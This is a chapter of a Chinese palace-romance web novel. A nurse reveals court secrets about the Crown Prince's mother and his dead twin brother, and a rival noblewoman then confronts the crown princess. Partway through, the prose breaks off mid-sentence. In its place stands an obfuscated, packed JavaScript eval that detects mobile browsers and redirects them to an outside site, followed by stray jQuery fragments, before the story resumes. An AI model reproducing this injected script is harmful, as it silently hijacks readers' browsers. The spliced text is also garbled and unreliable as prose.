3. 丑闻

作品:《卿卿是蓁包月

    马车缓缓停在东宫,江逾白率先下车,慕卿卿紧随其后,已做好准备他抱自己,但他却径直向书房走去。


    慕卿卿只好在真儿的服侍下,缓缓下了马车,等她下来的时候,江逾白早就没有影儿,慕卿卿百思不得其解,为什么江逾白忽冷忽热?


    “娘娘,你回来了。”一见到慕卿卿,杨嬷嬷就赶紧迎了上来,不停地打量她,确认她完好无损,才松了一口气。


    慕卿卿想起落红的事情,有点发虚,但是不敢直接询问,只好迂回试探一下,“嬷嬷这是作甚?难道本宫会出什么事?”


    杨嬷嬷一听,神色立刻慌张起来,良久深吸一口气,仿佛下了什么决心,确认四下无人,才把她拉进寝宫,还让悦儿和真儿在门口守着。


    “怎么了,嬷嬷?”慕卿卿直觉杨嬷嬷应该要说一些非常隐秘的事情,说不定和皇后对待江逾白的态度有关。


    “娘娘,你听奴婢说,”杨嬷嬷先左右看了看,才把压低声音说道,“其实现在的皇后娘娘不是殿下亲生母亲。”


    坐在贵妃榻上的慕卿卿感觉自己似乎坐不稳,差点就掉下去,好在杨嬷嬷及时拉住。


    她稳好身子,压下心中的惊讶,“本宫怎么听说,殿下就是皇后娘娘所生?”


    杨嬷嬷摇了摇头,“殿下是前皇后娘娘所生,现在的皇后娘娘其实已经被换过了。”


    “什么?”慕卿卿没想到皇家居然还有这样的事情,“皇上知道吗?”


    “自然是知道,而且是皇上亲自下令调换,”杨嬷嬷难过地说道,“现在的皇后娘娘其实是前皇后的庶妹,因为有八分相像,才让她来顶替,当时坤宁宫的人全部处死,就是为了掩盖这件事情。”


    “难怪我们都不知道,”慕卿卿点了点头,可是又出现新的疑惑,“皇上为何要这样做?”


    杨嬷嬷气愤起来,却又还记得压低声音,整张脸都扭曲起来,“还不是那个国师,什么神的使者,奴婢看就是个骗人的神棍。”


    慕卿卿没有打断,只是安静地听着。


    “其实殿下有一个双生弟弟,排行第四,”杨嬷嬷叹了一口气,难过地说道,“只是四皇子出生时,没有殿下的那些祥瑞,反而阴雨绵绵,还打起了雷。所以国师就说四皇子是“天煞孤星”,克父母,克兄弟姊妹,以后还会克妻子儿女,孤独一生,是不详的化身。”


    慕卿卿咬了咬嘴唇,有丝气愤,“真是谬论,无人能随意判定别人的命运!”


    杨嬷嬷越说越伤心,“其实四皇子特别招人疼,国师的话让他除了娘娘和殿下,无敢靠近,还会受到唾弃,总是被欺负,皇上默许这些行为,甚至恨不得没有他。所以即使娘娘和殿下有心保护,四皇子身上还是或多或少的有些伤口,但他一直隐忍,怕给娘娘和殿下带来危害。”


    慕卿卿脑海中浮现一个孩子,单薄的身躯,承受天底下所有的恶意,仅仅就是因为一句“不详”,心中泛起一丝酸楚。


    “殿下为了四皇子自保,偷偷教他武功,两人关系很好,娘娘也很疼爱他,尽自己最大的努力,保护四皇子成长,可是……”说着这里,杨嬷嬷的眼中充满恨意,“四年前,一场狩猎,殿下和四皇子双双遇难,四皇子为救殿下去世,娘娘受不了打击,没过多久也郁郁而终。”


    “更可恨的是,国师趁机表示“天煞孤星”已走,但然后克母,不宜大肆宣扬,最好当做未发生,逼走不详之气,皇上也一直认为皇家出“天煞孤星”真是一大丑闻,于是全部按照国师的话办,”杨嬷嬷接下来的话,几乎都是咬牙切齿地说出。


    慕卿卿终于是听明白,“所以皇上才会派人顶替皇后娘娘之位。”


    “没错,但是殿下自那以后,整个人性情大变,由以前的谦谦公子,温润如玉,变成现在的冷漠薄情,生人勿扰。”杨嬷嬷说到这样,也是一阵唏嘘,“都是命运啊,所以还请娘娘要多担待担待陛下。”


    “嬷嬷放心,殿下是本宫夫君,本宫自然会好好疼爱,可是嬷嬷为什么会知道这些?”慕卿卿有些奇怪,不是说所有人都被处死了吗?


    杨嬷嬷总觉得慕卿卿的“疼爱”听起来有点怪异,但是也来不及多想,“奴婢原是前皇后娘娘的贴身丫鬟,算是看着殿下长大,殿下性情大变,仍然极力保住了奴婢,并将奴婢带回来东宫。”


    “真是要多谢嬷嬷的厚爱,”慕卿卿明白杨嬷嬷冒险将这些事情告诉自己,肯定是非常的信任自己,她也定不能让嬷嬷失望。


    “只有娘娘和殿下好好的,嬷嬷就死也无憾,”杨嬷嬷拍了拍慕卿卿的手,语重心长地说道。


    慕卿卿心中非常不是滋味,视线变得模糊,有点哽咽,“嬷嬷乱说什么呢?”


    “参见太子殿下——”真儿和悦儿的声音传来。


    慕卿卿赶紧收拾好情绪,强撑起笑容,迎接江逾白,“殿下……”


    江逾白瞥了慕卿卿一眼,用手抹掉她脸上还来不及擦掉的眼珠,转身进了寝房。


    慕卿卿一愣,连忙拿出铜镜,才发现自己已经不知不觉泪流满面,赶紧整理好自己的面容。


    从铜镜中,她看到江逾白的身影,他换了一身玄色常服,只是腰带选用釉红色,“殿下可是要出去?”


    “嗯,”江逾白点了点头,走了几步,又停下来说道,“本宫不知何时回来,不用等本宫用膳。”


    “是,”慕卿卿恭敬地点头,送夫君出门。


    杨嬷嬷站在旁边,江逾白转身时,和她对视一眼,才离开。


    慕卿卿望着江逾白身后跟着的黑衣男子,“嬷嬷,殿下旁边的什么人?”


    “是曲朔大人,”杨嬷嬷瞧了一眼,“殿下的心腹。”


    慕卿卿点了点头,转身回到寝宫。


    ***


    “殿下,杨嬷嬷私自将皇宫秘事告诉太子妃,这……”曲朔走远之后,忍不住问道。


    江逾白伸手打住,“无妨。”


    其实在江逾白没有进入


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081464|195338||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    屋子之前,他就听到了慕卿卿和杨嬷嬷的谈话,练武之人,耳力一向比常人更好。


    一旁的曲朔也听见了,他本来想去阻止杨嬷嬷嚼舌根,却被太子殿下拦住,直到讲完,殿下才进去。


    江逾白也不知道自己为什么要阻止,或许他也想听听慕卿卿如何看待人人避而远之的“天煞孤星”。


    “无人能随意判定别人的命运”,这句话还回荡在他的脑海,江逾白勾起一个浅浅的笑容,果然没有看错人。


    江逾白娶慕卿卿为妻,一个是因为她的身份,慕卿卿的祖父是开国功臣,赐下安宁侯位,底蕴深厚,可是多年过去,南诏国承平良久,安宁侯的兵权也基本收回,现在已经有名无权。


    江衡生性多疑,崇尚权利,即使是自己的儿子,也不允许他的势力大过自己。


    江逾白请求娶慕卿卿为妻时,江衡答应得如此痛快,就是想借此削弱他。


    至于另外一个原因,江逾白想起就一阵心痛,如果再来一次,他绝对不会放手……


    ***


    六月虽是初夏,但晌午的太阳还是尤其的晒人。


    午膳后,慕卿卿躺在贵妃榻上,悦儿和真儿轻轻为她扇风,吹走躁意。


    回想起上午杨嬷嬷和自己说的那些话,慕卿卿已经猜到了江逾白迎娶自己的原因,想来也是,安宁侯府现在已和空壳差不多了。


    殿下生辰之日,对比和其她女子的身份,慕卿卿早就知道自己家世差了一大截,才没有去争取,没想到也正是这个身份,反而让她得了这先机,可是……


    慕卿卿也明白过来江逾白可能对自己没有什么情感,只是在外人面前,他会和自己亲近些,但这又如何,自己每天和他朝夕相处,还怕拿不下他?


    思索着,慕卿卿渐渐进入梦乡……


    “你们干什么,放开我,我要见白哥哥!”


    突然尖锐刺耳的声音将慕卿卿吵醒,她皱了皱眉,睁开眼睛,心里异常烦躁。


    平日里慕卿卿要是睡着,除非要紧事情,无人敢吵醒她,因为没有睡醒的她就像变了一个人似的,脾气非常暴躁,不停地散发骇人的气势。


    “你是何人?”慕卿卿来到门外,冷眼看着眼前这个来路不明的女子。


    一身水绿色窄袖纱裙,淡雅的颜色却被她穿出了一丝跋扈,慕卿卿摇了摇头,为这衣裙惋惜。


    女子也打量了慕卿卿一番,昂起头,插着腰,眼神中充满不屑,“本小姐是太师之女柳灵铃。”


    慕卿卿茫然地看着她,觉得有点熟悉,但又想不起来,还是杨嬷嬷附在她耳边,才想起柳灵铃从小和江逾白一起长大,算是青梅竹马。


    “哪里来的癞蛤蟆,妄想和太子殿下攀关系,来人给本宫丢出去。”


    慕卿卿才不管那么多,饶她清梦,就是收拾!何况还叫什么白哥哥,也不怕把人家的隔夜饭个恶心出来!


    反正江逾白也不在,看我慕卿卿今天不好好收拾你!